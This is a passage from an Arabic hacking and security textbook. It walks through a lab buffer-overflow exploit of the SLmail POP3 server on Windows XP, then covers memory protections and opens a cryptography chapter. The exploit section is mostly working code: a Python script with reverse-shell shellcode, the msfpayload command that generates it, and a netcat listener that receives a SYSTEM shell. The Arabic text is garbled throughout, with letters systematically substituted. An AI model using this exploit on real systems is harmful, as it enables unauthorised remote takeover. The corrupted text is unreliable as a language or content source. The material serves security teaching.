حدث قإن  .B’s 1350 و A’s 1350 للى قسمين، 2700أن نقوم بقسمة ال  ”A’s 2700“ما رأيك بدلاً من لرسال ال 

Overwritten  للEIP بالحرف B  قنستنتج أن الLocation  يقع في النصف الثاني من الbuffer ثُم بعدذا نقوم .

للى أن  Characterوتغيير ال  ة. وذكذا نستمر في عملية القسمC’s 1670 و B’s 1670 ذذه للى B’s 1350بقسمة ال 

 المرجو. locationننجح في تحديد ال 

 

 ة صعبة ومُكلّفة للى حد ما!، ما رأيك بطريقة أيسُ؟ولكن ذذه الطريق

 Metasploit Frameworkسنقوم باستخدام أداتان من أدوات ال 

صيصاً، ثم تحديد ال  Stringتقوم بإرسال  ”pattern_create.rb“الأولى  التي قامت بعمل  bytes 4يتم تصميمها ط 

overwrite  للEIPةالثاني ة. وبعدذا نستخدم الأدا “Pattern_offset.rb”  ع ذذه ال بالضبط  bytes 4لتحديد مَوض 

 .Stringداطل ذذه ال 
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 ذيا لنشُاذد معاً مايحدُث!.

 

 حرف.  2700من  ةمُكون stringتكوين  ةكما يظهر.. لقد طلبنا من الأدا

 

 ..؟Stringوماذا سنفعل بِذه ال 

كُر ذذا السطر بالكود  buffer = 'A' * 2700 ذل تذ 

  .ةالجديد bufferووضعها ذنا لتكون ذي قيمة ال  stringذه ال نقوم بنسخ ذ
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داطل الويندوز لأنه  SLmailبال  ةالخاص processلل  restartالآن سنقوم بتنفيذ الكود مرةً أطرى بعد أن نقوم بعمل 

اء الهجوم الماضي!. crashقد حدث لها   جر 

لنقوم بتنفيذ الكود الجديد،  Terminal. وعُد للى ال Runمرةً أطرى ثُم  attachوالآن داطل الويندوز، قم بعمل 

  ”fuzznew“سنُسميه 

root@Kali:~# ./fuzznew.py 

 

 ..EIPكي نُشاذد ما حدث لل  Debuggerجيد!.. ل نعود للى ال 

 ستُشاذد شيء أشبه بِذا:

 
 التي تم تظليلها في الصورة!. Hex bytesبِذه ال  EIPلل  Overwriteلقد حدث 

 .سنفعل الآن؟ وماذا

ج لنا موضع أو ترتيب ذذه ال  ةالثاني ةونقوم بإدطالها للى الأدا bytesسننسخ ذذه ال   Stringداطل ال  bytesكي تُخر 

ح استخدام الأدا تالي..تأمّل معي الشكل ال التي أرسلناذا.  .ةالمطلوب bytes 4في تحديد موضع ال  ةالثاني ةحيثُ يُوضِّ

 38 44 69 39وذم  bytes 4اه متبوعاً بال سنقوم بإدطال مسار الأد

 :ةقتظهر لنا النتيج
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[*] Exact match at offset 2606 

 

 
 

 .بعد معرقة ذذه المعلومات الخطيرة  bufferذيا لنعُيد لرسال ال 

 سنقوم بتعديل ذذا السطر داطل الكود ليكون كالتالي:

buffer = "A" * 2606 + "B" * 4 + "C" * 90 

 

بالنظام الثنائي، ثُم أكملنا بقية ال  42 42 42 42أو  ”B’s 4“ب  overwriteلابد أن يحدث لها  EIPأن ال ذذا يعني 

buffer بالحرف “C”. 
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 اليمنى ةبالأسفل في الجه ”C’s“ أصبحت تُشير للى بداية ال ESP، أيضاً ال EIPلل  overwriteلقد حَدَثَ 

 ذذا عمل رائع!..

 ..ةلثالثذيا لننتقل للى الخطوة ا

 

 

Locating Space for our Shellcode 

ذذا يدقعنا  ،”C“الذي ملأناه بالحرف  bufferبحت تُشير للى بداية ال أص ESPلاحظنا في الشكل الماضي أن  ال 

 . الخاص بنا Shellcodeذذه بال  ”C“لاستبدال حروف ال 
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لزيادة حجم ال  ة، بالتالي نحن بحاجbytes 350الذي نحن بصدد استخدامه تصل مساحته للى  shellcodeولكن ال 

buffer  الُمخَصّص للshellcode. 

 سنقوم بإجراء تعديل على السطر الُمعتاد داطل الكود الذي كتبناه سابقاً..

buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4) 

 

د من نجاح عملي  .shellcodeلل  ةالمبدأي Allocationة ال والآن، سنقوم بتنفيذ الهجوم مرةً أطرى للتأكُّ

 
 

 لقد نجحنا!!..

 .ESPوذو الذي تُشير لليه ال  shellcodeالخاص ببداية ال  address، تم تظليل ال Addressكما ترى تحت طانة ال 

 !.ةالثاني ةقد تغير  في المحاول ESPالذي تُشير لليه ال  addressولكن لاحظ أن ال 
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 ..؟Addressتُشير للى ذذا ال  ESPن أن ال وماذا نستفيد من كو  

للى ال  Jumpبحيث يَح دُث  crashأثناء حدوث ال  Execution flowلل   redirectionعملنستفيد أنه لو استطعنا 

“Address of ESP Register” .سنكون بِذا حققنا ذدقنا 

 

 وما ذو ذدقنا؟

 Reverseعن  ةوذو عبار shellcodeعني أنه سيتم تنفيذ ال ، قهذا يshellcodeتُشير للى موضع ال  ESPبما أن ال 

shell. 

أثناء  ESPبالقفز للى ال  CPUكي نُجبر  ال  JMP ESPمن نوع  Instructionللبحث عن  ةلذاً.. نحن الآن بحاج

 .crashحدوث ال 

 

 ..؟Memoryداطل ال  instructionل توقير عناء البحث عن ذذه ال  Address of ESPولماذا لا نُعطيه نحن ذذا ال 

، وبالتالي لن يُمك نُنا معرقة processلهذه ال  crashيحدث قيها  ةيتم تغييره في كل مر Addressكما رأينا أن  ذذا ال 

كنوع من التحايل على  ESPالتي تقوم بالقفز للى ال  instructionعنوانه!، وعوضاً عن ذلك، سنبحث عن ذذه ال 

 .ةذذه المشكل

 

 ..ة.. ذيا لننتقل للى الخطوة الرابعذذا مُتاز

 

 

 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [277] 

Redirecting the Execution Flow 

 أليس كذلك؟ كي يتم تنفيذذا.. ةالتالي instruction، وذي المسؤوله عن الانتقال للى ال EIPنحن الآن نمتلك ال 

الذي وضعناه في  shellcodeل ، ولدينا اJmp ESPالتي نود الانتقال لليها.. وذي  ةالتالي instructionكما أننا نعلم ال 

 .memoryمكانٍ ما في ال 

 يك ASLRو ال  DEPغير محمي بتقنية ال  Executableالتي تنتمي لأي  instructionيتبقى لنا الآن ليجاد ذذه ال 

 .الخطيرة  ةنستخدمهُ لهذه المهم

 ..؟ASLRوال  DEPذل تذكر ذذا ال 

 الرائع. Debuggerبِذا ال  ةالخاص Scriptsوذو أحد ال  mona.pyيُسمى  Script ةسنستخدم لهذه المهم

تتوقر به الخصائص  executableأو  moduleعن أي  memoryسنطلب منه أن يبحث لنا داطل ال  Scriptذذا ال 

عن ال  moduleالتي نُريدذا، وذي أن يكون ذذا الملف غير محمي كما ذكرنا سابقاً، ثم بعدا نقوم بالبحث داطل ذذا ال 

Instruction  التي نُريد.. وذيJmp ESP. 

 .. mona.py مايلي النتائج التي أطرجها لنا

 
أنه  ة، في الحقيقwindowsداطل ال  system32في ال  ةالُمظلل بالأبيض.. لنه أحد الملفات الموجود DLLلاحظ ال 

في كل عملية  Rebase ال لا يتعرض للى DLLذذا ال  .Application Libraryليس ملفاً بالمعنى الحرفي، بل ذو 

reboot أيضاً غير محمي بتقنيات ال ،SafeSEH أو ال ،DEP أو ال ،ASLR. 
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 ذذا اطتيار مثالي!!..

 opcodeللى ال  ة!.. نحن بحاجفي طانة البحث ، ولكن لا يُمك نُنا كتابتها ذكذاJmp ESPوالآن سنبحث بداطله عن 

 :التالي الشكلب كما ذو موضح الأمر كتابةقوم بالبحث بن، FF E4 ، وذوinstructionالُمقابل لهذه ال 

 
 

 بشكل واضح كمايلي: instructionالُمظَلل باللون الأبيض لتظهر لنا ال  addressنقوم بالنقر الُمزدوج على ذذا ال 

 
 

 الُمحصلة حتى الآن..

التي استطعنا عمل  EIPال وذو الُمتمثِّل في  crashأثناء حدوث ال  Execution flowلتوجيه ال  ةنحن بحاج

overwrite  لها.. للى ذذا الaddress  الذي يقع داطل الDLL  ى للى ال  Jumpوالذي يقوم بعمل  slmfc.dllالُمسم 

ESP والتي بدورذا تُشير للى ال ،shellcode .!الخاص بنا 
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ش!!..   ذذا مُدذ 

 ..ةذيا بنا لننتقل للى الخطوة الأطير

 

 

Getting the Shell 

 .الذي نُريده shellcodeبال  ”C’s“ن، وبعد أن حصلنا على كل ما نُريد، بقي لنا استبدال ال الآ

 تعال معي لنُشاذد الشكل النهائي للكود الذي سنقوم بتنفيذه..

 

#!/usr/bin/python 

 

import socket 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

 

shellcode =  

("\xbb\xdc\x0e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\x5f\x33\xc9" + 

"\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x03\x5f\x10\x3e\xfb\xdf" + 

"\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\x49" + 

"\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37" + 

"\x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3" + 

"\xda\x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec" + 

"\x8d\x7e\x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b" + 

"\x46\x9d\x8d\x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9" + 

"\x52\x5f\x8c\xd5\x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed" + 

"\xf0\x5b\x9a\x78\xe5\xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2" + 

"\x0b\xcb\xc1\x16\x8d\x18\x7a\x22\x06\x9f\xad\xa2\x5c\xbb" + 

"\x69\xee\x07\xa2\x28\x4a\xe9\xdb\x2b\x32\x56\x79\x27\xd1" + 

"\x83\xfb\x6a\xbe\x60\x31\x95\x3e\xef\x42\xe6\x0c\xb0\xf8" + 

"\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\xbd\x9b\xde\x21\x7a" + 

"\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\xca\xfa\x16\xa9" + 

"\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\xb6\x4d\x2b" + 

"\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\x8a\x49" + 

"\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\x86" + 

"\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0" + 
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"\x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed" + 

"\xb1\xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37" + 

"\x06\x52\xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c" + 

"\x04\x48\x2d\x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c" + 

"\x5a\x75\x2a\x74\x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f" + 

"\x91\x10\xc8\x60\xb0") 

 

Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode 

 

try: 

   print "\Sending buffer..." 

   s.connect(('192.168.18.131',110)) 

   data = s.recv(1024) 

   s.send('USER username' +'\r\n') 

   data = s.recv(1024) 

   s.send('PASS' + buffer + '\r\n') 

   s.close() 

   print "\Done." 

 

except: 

   print "Could not connect to POP3!" 

 

 .. bufferيظهر بعض التعديلات على السطر الخاص بال 

Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode 

 

الذي عثرنا عليه  Jmp ESPالخاص بال  addressبال  EIPلل  overwriteالتي قامت بعمل  ”4B’s“لقد استبدلنا ال 

 .slmfc.dllداطل ال 

  ”No Operation“ حيثُ يعني "x90\" معين مُكرر ثماني مرات، وذو opcodeأيضاً قُمنا بإضاقة 

 

 ..؟NOPوما ذذا ال 

  (Do nothing, and execute the next instruction).. تعني مايلي instruction لنها



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [281] 

 .shellcode أن يصل للى بداية ال يجدذا مثلها.. وذكذا للى ةالتالي instructionللى ال  EIPوعندما ينتقل ال 

 

 .لماذا قُمنا بإضاقتها بأي حال؟ ولكن

 ..؟ ESPللى حيثُ تُشير ال  EIPمُباشرةً بعد توجيه ال  shellcodeلماذا لم نضع ال 

، قنضع له ذذه ال Jumpجرّاء عملية ال  shellcodeفي بداية ال  ةالواقع bytesكي نتجنب ضياع أي عدد من ال 

NOPs قع ال كي يPointer  ل السير للى أن يصل للى ال نها ويُكم   .shellcodeفي أيٍ م 

 

، ويحتاج منا msfpayloadوذو  Metasploitحصلنا عليه باستخدام أحد موديولات ال  shellcodeوأطيراً ذذا ال 

 ، Local Portالخاص بنا وال  Local IP كال ةبعض المعلومات  الأساسي

 .Pythonأو  C كانتقيما لذا  ةولغة البرمج

root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.18.128 

LPORT=443 C 

 

 للى الآن!. ةمُُتاز الأمور تبدو

ذذا يعني أننا يجب أن نكون في وضع ال  ..Win XPالذي سيأتي لنا من ال  reverse shellبقيَ لنا أن ننتظر ذذا ال 

Listening ن من استقبال ذذا الإتصال العكسي. كي نتمك 

 وكتابة ذذا الأمر: Terminalجديد داطل ال  Tab، نقوم بفتح ةبِذه المهُم Netcatتقوم لنا أداة 

 
root@kali:~# nc -nlvp 443 

root@kali:~# 
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 من جديد.. Attackثُم نبدأ ال 

root@kali:~# ./fuzznew.py 

Sending buffer... 
Done. 

 

 .Victimلننتظر الإتصال القادم من ال  Netcatالخاص بأداة  Tabللى ال  والآن نعود

root@kali:~# nc -nlvp 443 

listening on [any] 443 ... 

connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557 

Microsoft Windows XP SP3 

Copyright (c) Microsoft Corporation. All rights reserved. 

C:\Program Files\SLmail\System>whoami 

whoami 

nt authority\system 

 

 .System Privilegesذا نحن ذا.. حصلنا على أعلى الصلاحيات!.. وذي 

 

 

 سنكتفي بِذا القدر..

 

ماية ال  ةالُمستخدم Protection Mechanismsعن ال  سننتقل للحديث   Operating Systemsلح 

 من عمليات التلاعب ذذه. memoryوال 
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Protection Mechanisms 

 

 .ةسنتحدث بشكل مُُتصر عن عدة تقنيات أمنية تستخدمها أنظمة التشغيل المختلف

 يُمك نُنا تلخيص عملية الاطتراق الحادث في ثلاثة ططوات رئيسية:

  الأولى ذي حدوث طلل في الmemory  المخصصة لهذا البرنامج أو الapplication. 

  والثانية ذي محاولة السيطرة على الflow  الطبيعي للبرنامج بأن نغيرِّ مسار ذذا الflow للى شيء آطر. 

  والثالثة ذي عملية الexecution  للshellcode  الذي قمنا بزرعه  في مكانٍ ما داطل الmemory. 

 .ماية المناسبة لهذه الثغراتق الحيمكننا تخيل طر نظام التشغيلوبمعرقة التهديدات التي يتعرض لها 

 :ةنبدأ بأول طريق

 

 

 

 Nonexecutable Stack 

الخاص بك في  Shellcodeقإذا تمكنت من وضع ال  .Buffer Overflowذذا لجراء واضح و مباشر لمنع ثغرات ال 

 .ة..قلن تتمكن من تنفيذه!، وبالتالي لن يكون له أهمي memoryأي مكان تريده في ال 

This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and 

Windows. 

و ال  ( ) printfكال  functionsتحوي بعض ال  libraryوذي  ،ret2libc (returning into libc)ر تكنيك بإسم هَ ظَ قَ 

exit( )،  ذذه ال..functions  تعتبرshared ستخدم ذذه ال بمعنى أن أي برنامج يfunction  سيتمكن من توجيه

 .libcداطل ال  functionللى مكان ذذه ال  executionمسار ال 
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تطور ذذا الأمر  .libتقع في ذذه ال  functionللى أي  executionقوجود ثغرة في البرنامج ستمُكننا من توجيه ال 

 ليشمل بعض التكنيكات الأطرى مثل:

ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text, 

ret2code, ret2dl-resolve, and chained ret2code. 

 

 

W^X Memory 

 ذذه الخاصية باطتصار تعني الآتي:

Making writable memory non-executable, and executable memory non-writable. 

 . vulnerable programفي حالة وجود  shellcodeلل  injectوبتطبيق ذذه الخاصية سيكون من الصعب عمل 

ح فل  تُ وحدذا قلن تتمكن من منع كل التكنيكات التي عرضناذا قوق، يبدو أنها سَ  mechanismلذا تم تطبيق ذذه ال 

 قينبغي تدعيمها بتقنيات أطرى.. .ret2strcpy, ret2gets, and ret2dataققط مع ثلاثة منهم. وذم 

في لصدار  DEP (Data Execution Prevention)طورت ال  عندما Microsoftستفادت منها ، الكنها قكرة مُتازة

Win XP SP2 .حيث تعتمد قكرته على ذذه النظرية 

 

Canaries (Stack Protection) 

ل  ، ولتقريب وظيفة ذذه الخاصية أكثر سنتكلم عن وظيفة ذذاالكناريذذه الخاصية تأطذ لسم طائر  الطائر عند عُما 

 وا أكثر.. يحمل العُمال معهم ذذا الطائر وذم في طريقهم للحفر، قكلما تعمق .ناجم الذذبم

 ، وذكذا للى أن ينعدم.. كلما قل الأكسجين أكثر
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.. وبالتالي سيتعرض للاطتناق مُبكراً مُنذراً بذلك ططورة للأكسجينقائدة ذذا الطائر ذي أنه أكثر حساسيةً منهم 

 .استكمال التعمق بالداطل.

 .Stackلل  protectionوذذا بالضبط ما نريد تطبيقه كنوع من أنواع ال 

 التي نود حمايتها، وفي ةوالبيانات الحساس buffersيتم وضعها في مكانٍ ما بين ال values  32 bits  قهي عبارة عن

رةً  أولاً.. overflowلهذا ال  Canaries.. ستتعرض ذذه ال buffer overflowحالة حدوث  بذلك البرنامج  مُنذ 

 لهذه البيانات. overflowبحدوث طلل قبل وصول ال 

 

 .variablesو ال  buffersبين ال  canaryمع وجود ال  Stackمايلي شكل يوضح ال 

↑ Lower addresses 

var2              4 bytes 

buf               80 bytes 

var1              4 bytes 

saved ebp         4 bytes 

canary            4 bytes 

return address    4 bytes 

arg               4 bytes 

↓ Higher addresses 

 

 

 .على عدة طبقات وباستخدام عدة تقنيات ةنختم ذذا الباب بالشكل التالي، والذي يوضح مفهوم تحقيق الحماي

“Using different methods in multiple layers of security” 

 

 ”Defense in Depth“وذذا ما يُطلَق عليه 
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 :، يتم لحباطها بعدة آلياتةد  الشكل يوضح محاولات اطتراق ع  

  قفي الشكل الأول تم لحباط المحاولة عن طريق ال“Firewall” بسبب ال ،Rules  التي تتصدى لأغلب

 .الهجمات

  ال في الشكل الثاني استطاع الشاب تجاوزFW، ه ال لكن أمسكَ ب“IPS”. 

 لكن تم الإمساك به بواسطة ال استطاع تجاوزذم ليصل للى الجهاز المرجو!،  ةفي الحالة الثالث“Anti Virus”.  

  في الشكل الرابع يظهر أنه استطاع نسخ ملف ويُحاول نقله!، لكن لم يَفلَح ب سَبَب تَصَدي ال“DLP” 

(Data Leakage Preventions)  

 قَة ال وفي الشكل الأطير استطا طة Dataع سَِ  ية ب واس  ها قوجئ ب أنّها مَحم   ال ولكن حيَن قَام ب فَتح 

 “Digital Rights Management”
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Part IV 

Cryptography 
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Introduction 
 

لاقة الأمَُوية في الأندلُس..  ام الخ  ر قصة حَدَثَت في عَهد أَحَد حُك   أتَذَك 

ق كان مَ  جُل الخار  جها!، ققد قيل أنهُ طاضَ نحو خَسين مَعرَكَة أو ذَذا الر  ندَ أعدائ ه  في الأندلس وطار  عب ع  دَراً للرُّ ص 

ه  ل كثرة الَمدائ ن والحصُُون التي كان  م قَط!. واتسعَت دولة المُسلمين في الأندَلس ب شكل كبير في عَهد  غزوة، لم يُهزَم ق يه 

ها وَوَضع ها   تَحتَ قيادته.يَقوم باسترداد ذا أو قَت ح 

 

د بن أبي عامر )الحاجب المنصور(.. تَه  العالية، وذَكائ ه  الفَذّ!. مُحمَ  ه  الكبير، وهم  ، وطُمُوح  غَره  ب نَباذَت ه  فَ مُن ذُ ص  التَحَقَ  عُر 

ب ب   ة مَناص  د  لاقة ب تَوليه  ع  حلته مَعَ قصر الخ  شَكل تدريجي.. للى أن ليدرس علوم الأدب والحديث في قُرطُبة، ثُم  بَدأت ر 

شام.. لبن الخليفة   ."المستنصر بالله"تَم  تسليمه قيادة الشرطة، وكانَ حينها وكيلًا له 

ين بُلوغ الخليفة الصغير السّن  د بن أبي عامر مَقاليد الأمور لح   وبعد وقاة الخليفة كان ذشام لايزال صغيراً!، قتَسَل م مُحمَ 

ب ل تَولي السُلطه. ل لنجازاته  العَسكرية غير المسبوق الُمناس   !.ةثُم  بَدَأ التاريخ يُسجِّ

ه الإنجازات قَهَذا ليسَ مَكانها، ولك ن سأروي لكُم ق ص  سِيعة: ةلَن نَخوض في ذَذ 

 

ب المَنصور في لحدى غزوات ه  بمدينة  دُوَل وذُو الثغر الذى بَناهُ على حُدود ال "سالم"في يوم من الأيام.. استَقَر  الحاج 

، قاستدعى أحد قرسانه في ليلة شديدة  ةالنصرانية في شَمال الأندَلُس، وطَطَرَت لَهُ طاط رَ  على مَدى ذكائه  وتوقعاته 

يق قُرب ذذه المدين  ، وقال له: ةالبرد، كثيرة الامطار، وكلفهُ أن يخرج الى مكان من المضَ 

  "ن.. تأتي به للي كائناً من كاةمن مر  بك في ذذه الليل"
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 قاستغرب الفارس وبدأ يتسائل في نفسه.. ومن يَخرُج في مثل ذذه الليلة؟ البرد القارص والمطر الغزير!. 

ذَ الفارس الأمر، وبقي يرصُد الطريق يرجف من البرد تحت وابل المطر، ولذا بشيخ كبير من النصارى الذين كانوا  نف 

ن  قأس وحَب لوم، على دابة ةمن أذل الذم ةيعيشون في ذذه المدين
 .عه آلة الحطب م 

س بَعدَ أن استوقفه: للى أين أيها العجوز   في مثل ذذا الوقت ؟ وماذا تفعل ؟قَسَألهُ الفار 

 ..وز: أريد حَطباً لأذلي ليستدقئواقال العج

 

ل سَير كَهُ الفارس يُواص  ب الَمنصور.. ققد كانَ مَعروقاً ب حَزم  ةقَتَرَ ر أَمر الحاج  ت ه، ، لك نهُ تذَك  د   ه  وش 

 قأوقَفَ العَجوز قائلًا : لابُد  أن  تأتي مَعي للى الأمير، 

 قال: وماذا يُريد الأمير مني؟، دعني أُتابع سيري. 

 

للا أن الفارس أجبره على المثول بين يدي الحاجب المنصور.. قأمَرَ بتفتيشه وتحري ملابسه قما عثروا على شيء مُريب!، 

مار!، قأمرَ المنصور بتحري   بردعة الح 

يَدلون العدو على ثغرة من ثغرات  ةوبعد تحريها وجدوا قيها ططابا من بعض النصارى القاط نين في جهة من ذذه المدين

 المسلمين كاتبين: 

 ."ةونحن نساعدكم على تلك المباغت ةجيش المنصور من الجهة الفلاني أن اذجموا على مدينة سالم وعلى"

 وكيف عرقت أن ذذا الجاسوس سيمُر في تلك الليلة ؟  !،س، واستفهم من المنصورتمكنت الدذشة من الحار

 وذل تنتهز العيون للا أمثالها؟  ققال:
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 انتهت القصة يا صديقي!

 :التحليلاتوالآن تعالَ نُجري بعض 

  ..ذذا الشيخ الذي تم الإمساك به

الذي تم لنشاؤه بين الجهتين  ”Secure Tunnel“ل لتكون شيء أشبه با ةقام باستغلال ذذه الظروف المُناطية القاسي

كي يدقع الفارس ألا ، ”Obscurity“ثم اصطحب معه آلة الحطب ليُمارس بعض أساليب التعمية  التي يصل بينهم.

 .افي ليصُعِّب عملية العثور عليهايُركز على مايُخفيه، وأيضاً قام بإطفاء الرسالة بشكل احتر

غيالهُ من  ر.. لكن بقمُراو   !.ةيت نقطة ضعف ططيرة وذي أن الرسالة نفسها غير مُشف 

 

ر معي قليلاً..   .ونريد أن نُحقق عملية تواصل سِية، تخيل أننا نعيش في القرون الوسطىقكِّ

 ماذا أقعل في حالة رغبتي للتواصل مع شخص يقع في مدينة أُطرى وبشكل سِي وموثوق؟.

... 

 ذل انتهيت؟ ..

 

 ربما سأقوم بالآتي:

، ذذا القفل سيكون مفتاحه معي أنا ققط!، ذذا القفل "قفل"أقوم بإرسال رسول يحمل صندوق طشبي وبداطله س

ذذا، ثم يضع في ذذا  "قفلي"وعند وصوله للشخص المرجو، سيقوم ذو بأطذ  سأتركه مفتوحاً داطل الصندوق..

 وأيضاً سيتركهُ مفتوح ويحتفظ بمفتاح القفل لديه. "قفله ذو"الصندوق 
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الآن سيأتي للي  الصندوق وبه قفل صديقي المفتوح!، حينها سأضع رسالتي الخطيرة بداطل الصندوق ثم أغلقه و

لهُ مع الرسول وأنا مُطمئ ن أنه في سِية، حيثُ لن يتمكن من قتحه للا صديقي لأنه  بالقفل الخاص بصديقي وأُرس 

 الوحيد الذي يحمل مفتاح ذذا القفل..

، وبالطبع لن يتمكن أحدذم وبالمثل سيكتب لي صدي ق الصندوق بقفلي أنا، ويعيد لرسال الصندوق للي 
قي الرد ويُغل 

 ...أليس كذلك؟ من قتحه سواي!. 

 

لقد قمنا بضمان السُية لكن لم نضمن سلامة الصندوق!، قربما يتعرض القفل للكسُ أثناء الطريق!، أو يقوم أحدذم 

أن يضع صديقي قفله الخاص، سيقوم أيضاً باستبداله بقفل آطر ليُرسلهُ لي!،  بتغيير القفل ولرساله للى صديقي، وبعد

، حيث لن نتمكن أنا ةبيننا. ولكن لن يستمر ذذا لأكثر من مر ”Man in the middle“وبِذا يكون ذذا الشخص 

 !.لدطيلاوصديقي من قتح الأقفال بعد غلقها لأن مفاتيحنا كانت لأقفال أطرى قام باستبدالها ذذا الشخص 

 

 !!Challengeماذذا ال 

أثناء تعاملنا مع  لنا الخصوصية، والمصداقية، والسلامة، والموثوقيةيبدو أننا بحاجة لبعض الآليات التي تضمن 

 بأنواعها!. Dataالأشخاص أو الأجهزة الإلكترونية أو ال 

 سنتعرف معاً في ذذا الباب على تقنيات تشفير البيانات وآليات عملها.
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Cryptography 
 

 

 .Ciphersذو عملية التواصل بين طرقين أو أكثر بشكل سِي!، وذلك باستخدام ال  Cryptographyال 

 

 ؟ Cipherما ذذا ال 

ل للى ال  Plaintextنعم.. لنه التوليفة الذكية التي تطرأ على ال  يَتحَو 
 .Ciphertextل 

 

 التي سنهتم بتشفيرذا بِذا التعقيد..؟ Plaintext؟ ..وماذي أمثلة ال CipherTextوما ذو ال 

الناتج من تطبيق معادلات التشفير  output، لنهُ ال ”Scrambled Message“ذو عبارة عن ال  CipherTextذذا ال 

 dataقهو ال  plaintextأما ذذا ال  المُراد لرسالها. Messageال  أوPlainText على ال  Secret Keyباستخدام ال 

، أو غير Data Base، أو ملف Credit Card، أو بيانات بطاقة ةبريد للكتروني بِا معلومات حساس الُمهمة كرسالة

 .حمايتهاساسة المُراد ذلك من البيانات الح

 

 ؟Secret Keyماذذا ال 

عبارة عن مجموعة من  Algorithmقمثلًا لو قرضنا أن ال  ،Algorithmالذي يُستخدم داطل ال  Randomizerلنه ال 

يَم الُمستَخدَمَه قيها كي  Keyادلات الرياضية، قتكون وظيفة ال المع تحديد ترتيب استخدام ذذه المعادلات واطتيار الق 

!، ة!.. لأن المعادلات ثابتAlgorithmالذي نَتَجَ قبله باستخدام نفس ال  outputمُُتل ف عن ال  outputيَنتج في النهاية 

مع معرقة نوع  cipherوقام أحدذم بالإمساك بِذا ال  Ciphertextلإنتاج ال  plaintextقلو طبقناذا كما ذي على ال 
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يزيد الأمر  Key!!، أما وجود ال plaintextالُمستَخدَمَة، قسيتمكن ب كُل بَساطة من استرجاع ال  Algorithmال 

 ..Cipherال لإنتاج ذذا  plaintextحيث لن يتمكن من تخمين الخطوات والتغيرات التي طرئت على ال  ةصعوب

 .بعد قليلمرةً أطرى  keyسنعود للى ذذا ال 

 

 لذاً؟ Algorithmولكن ما ذو تعريف ال 

 التي ستُستَخدَم في عملية التشفير وقك التشفير. Mathematical Rulesلنها عبارة عن مجموعة من ال 

 المرجو!، حيثُ أن  Securityلتحقيق ال  Keyعلى ال  Algorithmوتعتمد ال 

  الAlgorithms  تكون معلومة للجميع(Algorithms should be public). 

  بينما الKey  ل والمُستقب ل  .(Keys should remain private)لابد أن يكون سِي بين المُرس 

 ، وذي:ةيُمك نُنا الوصول ل نَتيجَة مَنط قي

 

“The algorithm will produce a different output depending on the secret key” 

..Key values are used by the algorithms to indicate which equations to use, in what order, and 

with what values!. 

 

 ؟Algorithmداطل تلك ال  Key، أو كيف سيعمل ال Algorithmذذا جيد.. كيف تعمل ذذه ال 

 لتحقيق التشفير. plaintextعلى ال  Transpositionsو ال  Substitutionsلنه يقوم بإجراء مجموعة من ال 

 

 ؟Transpositionsو ال   Substitutionsما ذذا ال 
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ذ قيمة ثُم استبدالها ب قيمةٍ أُطرى، قمثلاً كُل حرف في الرسالة سيتم  (Substitution)الأولى  قهي باطتصار.. أط 

 استبداله بحرف جديد.

يَم أو ا ا أو ب تَغيير  Transpositionsلأحرُف بعد لجراء ال وأما الثانية قتعني أنني أَضَع الق  عليها أمامي، ثُم  أقوم ببعثَرَته 

 أماك ن ها.

 

 وما الغرض من لجراء ذذه العملية؟

 !.Algorithmالتي تُعبر  عن قوة ال  (Characteristics)لنها أحد المقاييس أو ال 

 ”Confusion and Diffusion“نُطل ق عليها: 

 

وذذا لنضمن أنه لو قام  شديدة التعقيد!، keyو ال  plaintextتكون العَلاقة بين ال  بأنذذا  Confusionنُحقق ال 

 "الحرف"معاً قيكون من الصعب عليه تخمين الُمبادلات التي تمت على  plaintextوال  ciphertextأحدذم بمعرقة ال 

وذذا يَتحَقق ب تطبيق ال  .ciphertextلمقابل له في ال ا "الحرف"لينتج ذلك  plaintextالموجود في ال  characterأو ال 

Substitution .على عدة مراحل 

 ذذا تعريف آطر له:

Confusion refers to methods used to hide relationships between the plaintext, 

the ciphertext, and the key. This means that the output bits must involve some complex 

transformation of the key and plaintext. 

 

 عمعقدة بأكبر قدر مستطا ciphertextو ال  plaintextتكون العلاقة بين ال  بأنيتحقق  Diffusionأما ال 
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(As complex as possible)  وذذا لأجل لحباط محاولات تخمين الKey  أحدذم لل  حالة التقاطالُمستخدم في

ciphertext. حقق ذذا بتطبيق ال ويتTransposition .ًذذا يعني أن ال  على عدة مراحل أيضاConfusion  يُعنىَ بال

